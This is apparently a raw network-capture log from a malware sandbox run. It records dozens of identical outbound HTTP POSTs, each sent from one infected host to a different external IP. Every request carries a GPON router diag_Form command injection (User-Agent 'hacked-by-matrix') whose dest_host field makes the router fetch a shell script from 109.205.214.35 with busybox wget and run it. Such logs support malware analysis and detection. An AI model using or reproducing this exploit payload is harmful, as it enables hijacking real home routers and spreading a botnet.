Mar 21, 2024 05:23:17.712815046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.13	58028	5.157.167.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712816954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.13	40952	5.174.249.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712845087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.13	55750	109.135.124.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712876081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.13	38458	42.168.141.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712882996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.13	49104	212.145.152.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712918997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.13	41404	109.91.34.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712944031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.13	56712	118.40.216.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712980032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.13	50428	212.63.170.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.712991953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.13	58056	42.244.71.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713015079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.13	42240	212.149.5.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713046074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.13	59410	118.33.21.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713058949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.13	40558	5.87.70.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713077068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.13	39408	118.31.219.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713084936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.13	35938	212.85.199.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713109016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.13	35066	109.19.143.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713140011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.13	35440	109.247.36.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713166952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.13	54482	118.150.202.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713171959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.13	45696	212.234.176.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713193893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.13	56098	212.137.181.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713217020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.13	53756	109.225.9.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713264942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.13	57248	109.236.230.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713268995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.13	41636	118.142.137.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713316917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.13	33532	5.99.147.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713323116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.13	59230	42.160.222.250	443

Timestamp	Bytes transferred	Direction	Data
